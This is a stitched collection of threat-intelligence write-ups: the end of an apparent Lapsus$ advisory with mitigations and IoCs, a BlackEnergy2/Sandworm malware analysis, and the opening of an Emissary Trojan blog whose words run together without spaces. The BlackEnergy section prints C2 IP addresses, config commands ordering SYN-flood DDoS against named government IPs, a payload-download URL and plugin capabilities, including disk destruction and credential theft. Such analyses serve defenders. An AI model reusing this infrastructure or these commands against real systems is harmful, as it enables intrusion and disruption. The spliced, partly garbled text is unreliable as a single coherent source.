Securing source code environments to ensure that users can only access the relevant repositories.
[
3] 4/5 Secret Scanning  on source code repositories should be conducted to ensure that sensitive API credentials are not stored in source code.
GitHub and Gitlab offer detection mechanisms for this Remote Desktop services or Gateways used as a primary or secondary remote access solution should be removed from any corporate environment in favour for alternative solutions such as secured VPNs, or other Remote Desktop applications which mitigate common attack techniques such as brute force or exploitation and can offer additional security controls such as MFA and Conditional Access.
Centralise logging including cloud applications (SIEM solution).
Offline or immutable backups of servers should be taken to ensure that in the event of a data disruption or destruction attack, services can be restored.
Reduce MFA token/Session cookie validity times Ensure principle of least privilege for user accounts is being adhered to.
Social engineering awareness training for all staff.
Indicators of Compromise Indicator Value Indicator Type Description 104.238.222[.
]158 IP address Malicious Lapsus Network Address 108.61.173[.
]214 IP address Malicious Lapsus Network Address 185.169.255[.
]74 IP address Malicious Lapsus Network Address VULTR-GUEST Hostname Threat Actor Controlled Host hxxps://filetransfer[.
]io Domain Free File Drop Service Utilised by the Threat Actor MITRE ATTCK [1][2] 5/5 Technique Code Technique T1482 Discovery  Domain Trust Discovery T1018 Discovery  Remote System Discovery T1069.002 Discovery  Groups Discovery: Domain Groups T1016.001 Discovery  System Network Configuration Discovery T1078.002 Privilege Escalation  Domain Accounts T1555.005 Credential Access  Credentials from Password Stores: Password Managers T1021.001 Lateral Movement  Remote Services: Remote Desktop Protocol T1534 Lateral Movement  Internal Spearphishing T1072 Execution  Software Deployment Tools T1213.002 Collection  Data from Information Repositories: Sharepoint T1039 Collection  Data from Network Shared Drive T1213.003 Collection  Data from Information Repositories: Code Repositories T1567 Exfiltration  Exfiltration Over Web Service T1485 Impact  Data Destruction T1529 Impact  System Shutdown/Reboot References
BE2 Custom Plugins, Router Abuse, and Target Profiles The BlackEnergy malware is crimeware turned APT tool and is used in significant geopolitical operations lightly documented over the past year.
An even more interesting part of the BlackEnergy story is the relatively unknown custom plugin capabilities to attack ARM and MIPS platforms, scripts for Cisco network devices, destructive plugins, a certificate stealer and more.
Here, we present available data - it is difficult to collect on this APT.
We will also present more details on targets previously unavailable and present related victim profile data.
These attackers are careful to hide and defend their long-term presence within compromised environments.
The malwares previously undescribed breadth means attackers present new technical challenges in unusual environments, including SCADA networks.
Challenges, like mitigating the attackers lateral movement across compromised network routers, may take an organizations defenders far beyond their standard routine and out of their comfort zone.
Brief History BlackEnergy2 and BlackEnergy3 are known tools.
Initially, cybercriminals used BlackEnergy custom plugins for launching DDoS attacks.
There are no indications of how many groups possess this tool.
BlackEnergy2 was eventually seen downloading more crimeware plugins - a custom spam plugin and a banking information stealer custom plugin.
Over time, BlackEnergy2 was assumed into the toolset of the BE2/Sandworm actor.
While another crimeware group continues to use BlackEnergy to launch DDoS attacks, the BE2 APT appears to have used this tool exclusively throughout 2014 at victim sites and included custom plugins and scripts of their own.
To be clear, our name for this actor has been the BE2 APT, while it has been called Sandworm Team also.
The Plugins and Config Files Before evidence of BlackEnergy2 use in targeted attacks was uncovered, we tracked strange activity on one of the BlackEnergy CnC servers in 2013.
This strangeness was related to values listed in newer BlackEnergy configuration files.
As described in Dmitrys 2010 Black DDoS analysis, a configuration file is downloaded from the server by main.dll on an infected system.
The config file provides download instructions for the loader.
It also instructs the loader to pass certain commands to the plugins.
In this particular case in 2013, the config file included an unknown plugin set, aside from the usual ddos plugin listing.
Displayed below are these new, xml formatted plugin names weap_hwi, ps, and vsnet in a BlackEnergy configuration file download from a c2 server.
This new module push must have been among the first for this group, because all of the module versions were listed as version 1, including the ddos plugin: http://securelist.com/analysis/36309/black-ddos/ Config downloaded from BE2 server The ps plugin turned out to be password stealer.
The vsnet plugin was intended to spread and launch a payload (BlackEnergy2 dropper itself at the moment) in the local network by using PsExec, as well as gaining primary information on the users computer and network.
Most surprising was the weap_hwi plugin.
It was a ddos tool compiled to run on ARM systems: https://kasperskycontenthub.com/securelist/files/2014/11/1.png Weap_hwi plugin At first, we didnt know whether the ARM plugin was listed intentionally or by mistake, so we proceeded to collect the CnCs config files.
After pulling multiple config files, we confirmed that this ARM object inclusion was not a one-off mistake.
The server definitely delivered config files not only for Windows, but also for the ARM/MIPS platform.
Though unusual, the ARM module was delivered by the same server and it processed the same config file.
Linux plugins Over time we were able to collect several plugins as well as the main module for ARM and MIPS architectures.
All of these ARM/MIPS object files were compiled from the same source and later pushed out in one config: weap_msl, weap_mps, nm_hwi, nm_mps, weap_hwi, and nm_msl.
Its interesting that the BE2 developers upgraded the ddos plugin to version 2, along with the nm_hwi, nm_mps, and nm_msl plugins.
They simultaneously released version 5 of the weap_msl, weap_mps, and weap_hmi plugins.
Those assignments were not likely arbitrary, as this group had developed BlackEnergy2 for several years in a professional and organized style: https://kasperskycontenthub.com/securelist/files/2014/11/2.png Config with a similar set of plugins for different architectures Here is the list of retrieved files and related functionality: weap DDoS Attack (various types) ps password stealer handling a variety of network protocols (SMTP, POP3, IMAP, HTTP, FTP, Telnet) nm scans ports, stores banners snif logs IP source and destination, TCP/UDP ports hook main module: CnC communication, config parser, plugins loader uper rewrites hook module with a new version and launches it https://kasperskycontenthub.com/securelist/files/2014/11/3.png Weap, Snif, Nm plugin grammar mistakes and mis-spellings The developers coding style differed across the Hook main module, the plugins, and the Windows main.dll.
The hook main module contained encrypted strings and handled all the function calls and strings as the references in a large structure.
This structure obfuscation may be a rewrite effort to better modularize the code, but could also be intended to complicate analysis.
Regardless, it is likely that different individuals coded the different plugins.
So, the BE2 effort must have its own small team of plugin and multiplatform developers.
https://kasperskycontenthub.com/securelist/files/2014/11/4.png Hook module structure After decrypting the strings, it became clear that the Linux Hook main module communicated with the same CnC server as other Windows modules: The CNCs IP address in the Linux module https://kasperskycontenthub.com/securelist/files/2014/11/5.png https://kasperskycontenthub.com/securelist/files/2014/11/6.png This Linux module can process the following commands, some of which are similar to the Windows version: die delete all BlackEnergy2 files and system traces kill delete all BlackEnergy2 files and system traces and reboot lexec launch a command using bin/sh rexec download and launch file using fork/exec update rewrite self file migrate update the CnC server Windows Plugins After the disclosure of an unusual CnC server that pushed Linux and the new Windows plugins we paid greater attention to new BE2 samples and associated CnCs.
During an extended period, we were able to collect many Windows plugins from different CnC servers, without ever noticing Linux plugins being downloaded as described above.
It appears the BE2/SandWorm gang protected their servers by keeping their non-Windows hacker tools and plugins in separate servers or server folders.
Finally, each CnC server hosts a different set of plugins, meaning that each server works with different victims and uses plugins based on its current needs.
Here is the summary list of all known plugins at the moment: fs searches for given file types, gets primary system and network information ps password stealer from various sources ss makes screenshots vsnet spreads payload in the local network  (uses psexec, accesses admin shares), gets primary system and network information rd remote desktop scan scans ports of a given host grc backup channel via plus.google.com jn file infector (local, shares, removable devices) with the given payload downloaded from CnC cert certificate stealer sn logs traffic, extracts login-passwords from different protocol (HTTP, LDAP, FTP, POP3, IMAP, Telnet ) tv sets password hash in the registry for TeamViewer prx Proxy server dstr Destroys hard disk by overwriting with random data (on application level and driver level) at a certain time kl keylogger upd BE2 service file updater usb gathers information on connected USBs  (Device instance ID,  drive geometry) bios gathers information on BIOS, motherboard, processor,  OS We are pretty sure that our list of BE2 tools is not complete.
For example, we have yet to obtain the router access plugin, but we are confident that it exists.
Evidence also supports the hypothesis that there is a decryption plugin for victim files (see below).
Our current collection represents the BE2 attackers capabilities quite well.
Some plugins remain mysterious and their purpose is not yet clear, like usb and bios.
Why would the attackers need information on usb and bios characteristics?
It suggests that based on a specific USB and BIOS devices, the attackers may upload specific plugins to carry out additional actions.
Perhaps destructive, perhaps to further infect devices.
We dont know yet.
Its also interesting to point out another plugin  grc.
In some of the BE2 configuration files, we can notice an value with a gid type: The addr number in the config This number is an ID for the plus.google.com service and is used by the grc plugin to parse html.
It then downloads and decrypts a PNG file.
The decrypted PNG is supposed to contain a new CNC address, but we never observed one.
We are aware of two related GooglePlus IDs.
The first one, plus.google.com/115125387226417117030/, contains an abnormal number of views.
At the time of writing, the count is 75 million: https://kasperskycontenthub.com/securelist/files/2014/11/7.png BE2 plus profile The second one - plus.google.com/116769597454024178039/posts - is currently more modest at a little over 5,000 views.
All of that accounts posts are deleted.
Tracked Commands During observation of the described above router-PC CnC we tracked the following commands delivered in the config file before the server went offline.
Our observation of related actions here: u ps start password stealing (Windows) Ps_mps/ps_hwi start start password stealing (Linux, MIPS,  ARM) uper_mps/uper_hwi start rewrite hook module with a new version and launch it (Linux, MIPS, ARM) Nm_mps/nm_hwi start ban -middle Scan ports and retrieve banners on the router subnet (Linux, MIPS,  ARM) U fsget  7 .docx, .pdf, .doc  search for docs with the given filetypes (Windows) S sinfo retrieve information on installed programs and launch commands: systeminfo, tasklist, ipconfig, netstat, route table, trace route to google.com (Windows) weap_mps/weap_hwi host188.128.123.52 port[25,26,110,465,995] typetcpconnect DDoS on 188.128.123.52 (Linux, MIPS,  ARM) weap_mps/weap_hwi typesynflood port80 cnt100000 spdmedium host212.175.109.10 DDoS on 212.175.109.10 (Linux, MIPS,  ARM) The issued commands for the Linux plugins suggest the attackers controlled infected MIPS/ARM devices.
We want to pay special attention to the DDoS commands meant for these routers.
188.128.123.52 belongs to the Russian Ministry of Defense and 212.175.109.10 belongs to the Turkish Ministry of Interiors government site.
While many researchers suspect a Russian actor is behind BE2, judging by their tracked activities and the victim profiles, its still unclear whose interests they represent.
https://kasperskycontenthub.com/securelist/files/2014/11/8.png While observing some other CnCs and pulling down config files, we stumbled upon some strange mistakes and mis-typing.
They are highlighted in the image below: BE2 config file mistakes First, these mistakes suggest that the BE2 attackers manually edit these config files.
Secondly, it shows that even skilled hackers make mistakes.
Hard-Coded Command and Control The contents of the config files themselves are fairly interesting.
They all contain a callback c2 with a hardcoded ip address, some contain timeouts, and some contain the commands listed above.
We include a list of observed hardcoded ip C2 addresses here, along with the address owner and geophysical location of the host: C2 IP address Owner Country 184.22.205.194 hostnoc.net US 5.79.80.166 Leaseweb NL https://kasperskycontenthub.com/securelist/files/2014/11/9.png 46.165.222.28 Leaseweb NL 95.211.122.36 Leaseweb NL 46.165.222.101 Leaseweb NL 46.165.222.6 Leaseweb NL 89.149.223.205 Leaseweb NL 85.17.94.134 Leaseweb NL 46.4.28.218 Hetzner DE 78.46.40.239 Hetzner DE 95.143.193.182 Serverconnect SE 188.227.176.74 Redstation GB 93.170.127.100 Nadym RU 37.220.34.56 Yisp NL 194.28.172.58 Besthosting.ua UA 124.217.253.10 PIRADIUS MY 84.19.161.123 Keyweb DE 109.236.88.12 worldstream.nl NL 212.124.110.62 digitalone.com US 5.61.38.31 3nt.com DE 5.255.87.39 serverius.com NL Its interesting that one of these servers is a Tor exit node.
And, according to the collected config files, the group upgraded their malware communications from plain text http to encrypted https in October 2013.
BE2 Targets and Victims BlackEnergy2 victims are widely distributed geographically.
We identified BlackEnergy2 targets and victims in the following countries starting in late 2013.
There are likely more victims.
Russia Ukraine Poland Lithuania Belarus Azerbaijan Kyrgyzstan Kazakhstan Iran Israel Turkey Libya Kuwait Taiwan Vietnam India Croatia Germany Belgium Sweden Victim profiles point to an expansive interest in ICS: power generation site owners power facilities construction power generation operators large suppliers and manufacturers of heavy power related materials investors However, we also noticed that the target list includes government, property holding, and technology organizations as well: high level government other ICS construction federal land holding agencies municipal offices federal emergency services space and earth measurement and assessment labs national standards body banks high-tech transportation academic research Victim cases We gained insight into significant BE2 victim profiles over the summer of 2014.
Interesting BE2 incidents are presented here.
Victim 1 The BE2 attackers successfully spearphished an organization with an exploit for which there is no current CVE, and a metasploit module has been available This email message contained a ZIP archive with EXE file inside that did not appear to be an executable.
This crafted zip archive exploited a WinRAR flaw that makes files in zip archives appear to have a different name and file extension.
BE2 spearphish example The attached exe file turned out to be BlackEnergy-like malware, which researchers already dubbed BlackEnergy3 - the gang uses it along with BlackEnergy2.
Kaspersky Lab detects BlackEnergy3 malware as Backdoor.
Win32.Fonten  naming it after its dropped file FONTCACHE.DAT When investigating computers in the companys network, only BE2 associated files were found, suggesting BE3 was used as only a first-stage tool on this network.
The config files within BE2 contained the settings of the companys internal web proxy: https://kasperskycontenthub.com/securelist/files/2014/11/10.png BE2 config file contains victims internal proxy As the APT-specific BE2 now stores the downloaded plugins in encrypted files on the system (not seen in older versions  all plugins were only in-memory), the administrators were able to collect BE2 files from the infected machines.
After decrypting these files, we could retrieve plugins launched on infected machines: ps, vsnet, fs, ss, dstr.
By all appearances, the attackers pushed the dstr module when they understood that they were revealed, and wanted to hide their presence on the machines.
Some machines already launched the plugin, lost their data and became unbootable.
Desstructive dstr command in BE2 config file Also, on some machines, documents were encrypted, but no related plugin could be found.
Victim 2 The second organization was hacked via the first victims stolen VPN credentials.
After the second organization was notified about the infection they started an internal investigation.
They confirmed that some data was destroyed on their machines, so the BE2 attackers have exhibited some level of destructive activity.
And, they revealed that their Cisco routers with different IOS versions were hacked.
They werent able to connect to the routers any more by telnet and found the following farewell tcl scripts in the routers file system: Ciscoapi.tcl  contains various wrappers over cisco EXEC-commands as described in the comments.
The comment includes a punchy message for kasperRsky: https://kasperskycontenthub.com/securelist/files/2014/11/11.png https://kasperskycontenthub.com/securelist/files/2014/11/12.png BE2 ciscoapi.tcl fragment Killint.tcl  uses Ciscoapi.tcl, implements destroying functions: https://kasperskycontenthub.com/securelist/files/2014/11/13.png BE2 killint.tcl fragment The script tries to download ciscoapi.tcl from a certain FTP server which served as a storage for BE2 files.
The organization managed to discover what scripts were hosted on the server before BE/SandWorm gang deleted them, and unfortunately couldnt restore them after they were deleted.
The BE2 actor performs careful, professional activity covering their tracks: ciscoapi.tcl killint.tcl telnetapi2.tcl telnetu.tcl stub.tcl stub1.tcl There is evidence that the logs produced by some scripts were also stored on the FTP server, in particular https://kasperskycontenthub.com/securelist/files/2014/11/14.png the information on CDP neighbors which is provided by one of the procedures of ciscoapi.tcl.
Victim 3 The third organization got compromised by the same type of attack as the first one (an EXE file spoofing a doc within a Zip archive).
All the plugins discovered in BE2 files were known, and there was no revelation of hacked network devices on their side and no destroyed data.
The noticeable thing is that many computers contained both BE2 and BE3 files and some config files contained the following URL: hxxps://46.165.222(dot)28/upgrade/f3395cd54cf857ddf8f2056768ff49ae/getcfg.php The URL contains the md5 of the string router.
One of the discovered config files contained a URL with an as yet unidentified md5: hxxps://46.165.222(dot)28/upgrade/bf0dac805798cc1f633f19ce8ed6382f/upgrade.php Victim set 4 A set of victims discovered installed Siemens SCADA software in their ICS environment was responsible for downloading and executing BlackEnergy.
Starting in March 2014 and ending in July 2014, Siemens ccprojectmgr.exe downloaded and executed a handful of different payloads hosted at 94.185.85.122/favicon.ico.
They are all detected as variants of Backdoor.
Win32.Blakken.
Build IDs Each config file within BE2 main.dll has a field called build_id which identifies the malware version for the operators.
Currently this particular BE/SandWorm gang uses a certain pattern for the build ids containing three hex numbers and three letters, as follows: 0C0703hji The numbers indicate the date of file creation in the format: Year-Month-Day.
Still, the purpose of the letters is unknown, but most likely it indicates the targets.
The hex numbers werent used all the time, sometimes we observed decimal numbers: 100914_mg 100929nrT Most interesting for us was the earliest build id we could find.
Currently it is OB020Ad0V, meaning that the BE2/SandWorm APT started operating as early as the beginning of 2010.
Appendix: IoC While BE dropper installs its driver under a randomly picked non-used Windows driver name, like system32\drivers\AliIde.sys.
The driver is self-signed on 64-bit systems However, new APT BE2 uses one of the following filenames that are used as an encrypted storage for plugins and the network settings.
They are consistent and serve as stable IoC: system32\drivers\winntd_.dat system32\drivers\winntd.dat system32\drivers\wincache.dat system32\drivers\mlang.dat system32\drivers\osver32nt.dat LOCALAPPDATA\adobe\wind002.dat LOCALAPPDATA\adobe\settings.sol LOCALAPPDATA\adobe\winver.dat LOCALAPPDATA\adobe\cache.dat BE2 also uses start menu locations for persistence: Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\flashplayerapp.exe BE3 uses the following known filenames: USERPROFILE\NTUSER.LOG LOCALAPPDATA\FONTCACHE.DAT BE2 MD5s: d57ccbb25882b16198a0f43285dafbb4 7740a9e5e3feecd3b7274f929d37bccf 948cd0bf83a670c05401c8b67d2eb310 f2be8c6c62be8f459d4bb7c2eb9b9d5e 26a10fa32d0d7216c8946c8d83dd3787 8c51ba91d26dd34cf7a223eaa38bfb03 c69bfd68107ced6e08fa22f72761a869 3cd7b0d0d256d8ff8c962f1155d7ab64 298b9a6b1093e037e65da31f9ac1a807 d009c50875879bd2aefab3fa1e20be09 88b3f0ef8c80a333c7f68d9b45472b88 17b00de1c61d887b7625642bad9af954 27eddda79c79ab226b9b24005e2e9b6c 48937e732d0d11e99c68895ac8578374 82418d99339bf9ff69875a649238ac18 f9dcb0638c8c2f979233b29348d18447 72372ffac0ee73dc8b6d237878e119c1 c229a7d86a9e9a970d18c33e560f3dfc ef618bd99411f11d0aa5b67d1173ccdf 383c07e3957fd39c3d0557c6df615a1a 105586891deb04ac08d57083bf218f93 1deea42a0543ce1beeeeeef1ffb801e5 7d1e1ec1b1b0a82bd0029e8391b0b530 1f751bf5039f771006b41bdc24bfadd3 d10734a4b3682a773e5b6739b86d9b88 632bba51133284f9efe91ce126eda12d a22e08e643ef76648bec55ced182d2fe 04565d1a290d61474510dd728f9b5aae 3c1bc5680bf93094c3ffa913c12e528b 6a03d22a958d3d774ac5437e04361552 0217eb80de0e649f199a657aebba73aa 79cec7edf058af6e6455db5b06ccbc6e f8453697521766d2423469b53a233ca7 8a449de07bd54912d85e7da22474d3a9 3f9dc60445eceb4d5420bb09b9e03fbf 8f459ae20291f2721244465aa6a6f7b9 4b323d4320efa67315a76be2d77a0c83 035848a0e6ad6ee65a25be3483af86f2 90d8e7a92284789d2e15ded22d34ccc3 edb324467f6d36c7f49def27af5953a5 c1e7368eda5aa7b09e6812569ebd4242 ec99e82ad8dbf1532b0a5b32c592efdf 391b9434379308e242749761f9edda8e 6bf76626037d187f47a54e97c173bc66 895f7469e50e9bb83cbb36614782a33e 1feacbef9d6e9f763590370c53cd6a30 82234c358d921a97d3d3a9e27e1c9825 558d0a7232c75e29eaa4c1df8a55f56b e565255a113b1af8df5adec568a161f3 1821351d67a3dce1045be09e88461fe9 b1fe41542ff2fcb3aa05ff3c3c6d7d13 53c5520febbe89c25977d9f45137a114 4513e3e8b5506df268881b132ffdcde1 19ce80e963a5bcb4057ef4f1dd1d4a89 9b29903a67dfd6fec33f50e34874b68b b637f8b5f39170e7e5ada940141ddb58 c09683d23d8a900a848c04bab66310f1 6d4c2cd95a2b27777539beee307625a2 e32d5c22e90cf96296870798f9ef3d15 64c3ecfd104c0d5b478244fe670809cc b69f09eee3da15e1f8d8e8f76d3a892a 294f9e8686a6ab92fb654060c4412edf 6135bd02103fd3bab05c2d2edf87e80a b973daa1510b6d8e4adea3fb7af05870 8dce09a2b2b25fcf2400cffb044e56b8 6008f85d63f690bb1bfc678e4dc05f97 1bf8434e6f6e201f10849f1a4a9a12a4 6cac1a8ba79f327d0ad3f4cc5a839aa1 462860910526904ef8334ee17acbbbe5 eeec7c4a99fdfb0ef99be9007f069ba8 6bbc54fb91a1d1df51d2af379c3b1102 8b152fc5885cb4629f802543993f32a1 6d1187f554040a072982ab4e6b329d14 3bfe642e752263a1e2fe22cbb243de57 c629933d129c5290403e9fce8d713797 1c62b3d0eb64b1511e0151aa6edce484 811fcbadd31bccf4268653f9668c1540 0a89949a3a933f944d0ce4c0a0c57735 a0f594802fbeb5851ba40095f7d3dbd1 bf6ce6d90535022fb6c95ac9dafcb5a5 df84ff928709401c8ad44f322ec91392 fda6f18cf72e479570e8205b0103a0d3 39835e790f8d9421d0a6279398bb76dc fe6295c647e40f8481a16a14c1dfb222 592c5fbf99565374e9c20cade9ac38aa ad8dc222a258d11de8798702e52366aa bc21639bf4d12e9b01c0d762a3ffb15e 3122353bdd756626f2dc95ed3254f8bf e02d19f07f61d73fb6dd5f7d06e9f8d2 d2c7bf274edb2045bc5662e559a33942 ac1a265be63be7122b94c63aabcc9a66 e06c27e3a436537a9028fdafc426f58e 6cf2302e129911079a316cf73a4d010f 38b6ad30940ddfe684dad7a10aea1d82 f190cda937984779b87169f35e459c3a 698a41c92226f8e444f9ca7647c8068c bc95b3d795a0c28ea4f57eafcab8b5bb 82127dc2513694a151cbe1a296258850 d387a5e232ed08966381eb2515caa8e1 f4b9eb3ddcab6fd5d88d188bc682d21d 8e42fd3f9d5aac43d69ca740feb38f97 a43e8ddecfa8f3c603162a30406d5365 ea7dd992062d2f22166c1fca1a4981a1 7bf6dcf413fe71af2d102934686a816b cf064356b31f765e87c6109a63bdbf43 4a46e2dc16ceaba768b5ad3cdcb7e097 2134721de03a70c13f2b10cfe6018f36 7add5fd0d84713f609679840460c0464 cc9402e5ddc34b5f5302179c48429a56 9803e49d9e1c121346d5b22f3945bda8 c5f5837bdf486e5cc2621cc985e65019 2b72fda4b499903253281ebbca961775 7031f6097df04f003457c9c7ecbcda1c 6a6c2691fef091c1fc2e1c25d7c3c44c 9bd3fa59f30df5d54a2df385eba710a5 5100eb13cac2fc3dec2d00c5d1d3921c 0a2c2f5cf97c65f6473bdfc90113d81e 30b74abc22a5b75d356e3a57e2c84180 a0424e8436cbc44107119f62c8e7491b c1ba892d254edd8a580a16aea6f197e9 e70976785efcfaeed20aefab5c2eda60 397b5d66bac2eb5e950d2a4f9a5e5f2c 4e9bde9b6abf7992f92598be4b6d1781 54d266dee2139dd82b826a9988f35426 5b4faa2846e91e811829a594fecfe493 907448af4388072cdc01e69b7b97b174 ccad214045af69d06768499a0bd3d556 1395dfda817818c450327ab331d51c1b 715e9e60be5a9b32075189cb04a0247e 3835c8168d66104eed16c2cd99952045 f32c29a620d72ec0a435982d7a69f683 95e9162456d933fff9560bee3c270c4e da01ef50673f419cf06b106546d06b50 2dd4c551eacce0aaffedf4e00e0d03de 34f80f228f8509a67970f6062075e211 81ca7526881a0a41b6721048d2f20874 d642c73d0577dd087a02069d46f68dac BE3 MD5s: f0ebb6105c0981fdd15888122355398c 7cb6363699c5fd683187e24b35dd303e 4d5c00bddc8ea6bfa9604b078d686d45 f37b67705d238a7c2dfcdd7ae3c6dfaa 46649163c659cba8a7d0d4075329efa3 628ef31852e91895d601290ce44650b1 723eb7a18f4699c892bc21bba27a6a1a 8b9f4eade3a0a650af628b1b26205ba3 f6c47fcc66ed7c3022605748cb5d66c6 6c1996c00448ec3a809b86357355d8f9 faab06832712f6d877baacfe1f96fe15 2c72ef155c77b306184fa940a2de3844 2e62e8949d123722ec9998d245bc1966 b0dc4c3402e7999d733fa2b668371ade 93fa40bd637868a271002a17e6dbd93b f98abf80598fd89dada12c6db48e3051 8a7c30a7a105bd62ee71214d268865e3 2f6582797bbc34e4df47ac25e363571d 81d127dd7957e172feb88843fe2f8dc1 3e25544414030c961c196cea36ed899d Previous and Parallel Research Botnet History Illustrated by BlackEnergy 2, PH Days, Kaspersky Lab - Maria Garnaeva and Sergey Lozhkin, May 2014 BlackEnergy and Quedagh (pdf), F-Secure, September 2014 Sandworm, iSIGHT Partners, October 2014 Alert (ICS-ALERT-14-281-01A) Ongoing Sophisticated Malware Campaign Compromising ICS (Update A), ICS-CERT, October 2014 http://2014.phdays.com/program/tech/37998/ https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf http://www.isightpartners.com/2014/10/cve-2014-4114 https://ics-cert.us-cert.gov/alerts/ICS-ALERT-14-281-01A
08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 1/26 EmissaryTrojanChangelog:DidOperationLotus BlossomCauseIttoEvolve?PaloAltoNetworksBlog postedby:RobertFalconeandJenMillerOsbornonFebruary3,201611:00AM InDecember2015,Unit42publishedablogaboutacyberespionageattackusingtheEmissary Trojanasapayload.
EmissaryisrelatedtotheEliseTrojanandtheOperationLotusBlossomattack campaign,whichpromptedustostartcollectingadditionalsamplesofEmissary.
Theoldestsamplewefoundwascreatedin2009,indicatingthistoolhasbeeninuseforalmost sevenyears.
Ofnote,thisisthreeyearsearlierthantheoldestElisesamplewehavefound, suggestingthisgrouphasbeenactivelongerthanpreviouslydocumented.
Inaddition,Emissary appearstoonlybeusedagainstTaiwaneseorHongKongbasedtargets,allofthedecoysarewritten inTraditionalChinese,andtheyusethemesrelatedtothegovernmentormilitary.
WealsofoundseveraldifferentversionsofEmissarythathadseveraliterativechangesthatshow howtheTrojanevolvedovertheyears.
Oneofthemostinterestingobservationsmadeduringthis analysisisthattheamountofdevelopmenteffortdevotedtoEmissarysignificantlyincreasedafterwe publishedourOperationLotusBlossomreportinJune2015,resultinginmanynewversionsofthe EmissaryTrojan.
Inaddition,weobservedaTTPshiftpostpublicationwithregardstotheirmalware deliverytheystartedusingcompromisedbutlegitimatedomainstoservetheirmalware.
Interestingly, theC2infrastructureisalsosomewhatdifferentthanthatusedbyElise.
Targeting IncontrasttoElise,whichwasusedinattacksagainstmultipleSoutheastAsiancountriesinregion appropriatelanguages,alloftheEmissarydecoyswevecollectedarewritteninTraditionalChinese, whichisusedprimarilyinTaiwanandHongKong.
Thetargetswehaveidentifiedarealsolimitedto thosetworegions.
Despiteappearingtotargetamorelimitedgeographicalrange,Emissarytargeted thegovernment,highereducation,andhightechcompanieswithamixofcopyandpastednews articlesanddocumentsthatdonotappeartobeavailableonline.
Decoysinclude: AnExcelspreadsheetcontaininglegitimatecontactinformationformuchoftheTaiwanese governmentthatdoesnotappeartobeavailableonline.
CopyandpasteofanewsarticlewheretheDeputyCommanderoftheNanjingMilitaryregion, WangHuanguang,respondsnegativelytoa2014magazinearticlefromarespectedUSTaiwan scholarsayingtheoddsofChinaandTaiwanreunitingislowanddiscussingtheissueswithan attemptedmilitarytakeover.
Copyofanewsarticlefrom2010abouttheChineseLeagueofVictimsprotestingtheinvoluntary removalofShanghairesidentsintheleaduptotheShanghaiExpo.
CopyoftheofficialTaiwanholidayschedulefor2016,whichisthe105 anniversaryofthecurrentth http://researchcenter.paloaltonetworks.com/author/robert-falcone/ http://researchcenter.paloaltonetworks.com/author/jen-miller-osborn/ http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/ http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/ http://researchcenter.paloaltonetworks.com/2015/06/operation-lotus-blossom/ 08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 2/26 Taiwanesegovernment.
Figure1:PartialscreenshotoftheresponsefromDeputyCommanderoftheNanjingMilitaryRegion WangHuangguang.
EvolvetoSurvive:TTPShiftsandInfrastructure WeveexpandedourknowledgeofEmissaryinfrastructuresignificantlysinceourfirstEmissaryblog andwevefoundalmostexclusiveuseofDynamicDNS(DDNS)domainswithonlyonepurchased fromaChinesereseller.
Incontrast,theElisesamplesusedamixofactorregisteredandDDNS,with theactorregisteredservingasoneofthedatapointsweusedtotiealloftheactivitytogether.
While theuseofDDNScanmaketyingactivitytogethermoredifficult,anddespitethenewEmissary variantssinceourpublication,twoofthemostrecentC2sresolvedtoIPsusedbyEliseC2sdetailed inOperationLotusBlossom.
TheEmissarysamplestypicallyhavethreehardcodedC2sthatarea mixofIPsanddomainnames,withoneofthedomainsorIPsnotbeingusedbytheotherthreeC2s inalikelyefforttoavoidlossofcontrol.
AfullIOClistisincludedattheendofthisreport.
AlsonewistheactorsuseofcompromisedlegitimateTaiwanesewebsitestoservetheirmalware, includingtheofficialwebsiteoftheDemocraticProgressiveParty.
Thisisparticularlyinterestingas TaiwanjustheldacloselywatchedPresidentialelectionon16JanuarywhereDPPcandidateTsai Ingwenwon.
ThismarkedthefirsttimeawomanwaselectedPresidentofTaiwanandonlythe secondtimeamemberoftheKuomintangdidnotholdtheofficesincebeingoustedfromChinain 1949whentheCommunistPartyofChinatookpower.
Inlinewithherpartysstance,sheiswidely seenasaproponentofanindependentTaiwanandnotinfavorofreunificationwiththePeoples RepublicofChina.
08/02/2016 EmissaryTrojanChangelog:DidOperationLotusBlossomCauseIttoEvolve?PaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/02/emissarytrojanchangelogdidoperationlotusblossomcauseittoevolve/ 3/26 MalwareUpdates OurevidencesuggeststhatmalwareauthorscreatedEmissaryasearlyas2009,whichsuggeststhat threatactorshavereliedonthistoolasapayloadincyberespionageattacksformanyyears.
The EmissaryTrojanisacapabletooltogainafootholdonatargetedsystem.
Whileitlacksmore advancedfunctionalitylikescreencapturing,itisstillabletocarryoutmosttasksdesiredbythreat actors:exfiltrationoffiles,abilitytodownloadandexecuteadditionalpayloads,andgainremoteshell access.
ItappearsthatthreatactorshavecontinuallyusedthisTrojan,anddevelopedseveral updatedversionsofEmissarytoremainundetectedandfreshovertime.
WeanalyzedalloftheknownEmissarysamplestodeterminewhatchangesthemalwareauthor madebetweenthedifferentversionsoftheTrojan.
Duringouranalysis,weexaminedwheneach samplewascreatedbasedonitscompiletimeandproducedasimpletimeline,seeninFigure2,to displaythedevelopmenteffortsexpendedontheEmissaryTrojan.
Itshouldbenotedthatweknow someEmissarysampleshavebeenusedmultipletimeswithdifferentconfigurations,sothetimeline onlyshowswhendevelopmentactivitytookplaceonEmissaryandshouldnotbemisconstruedto whenEmissarywasusedinattacks.
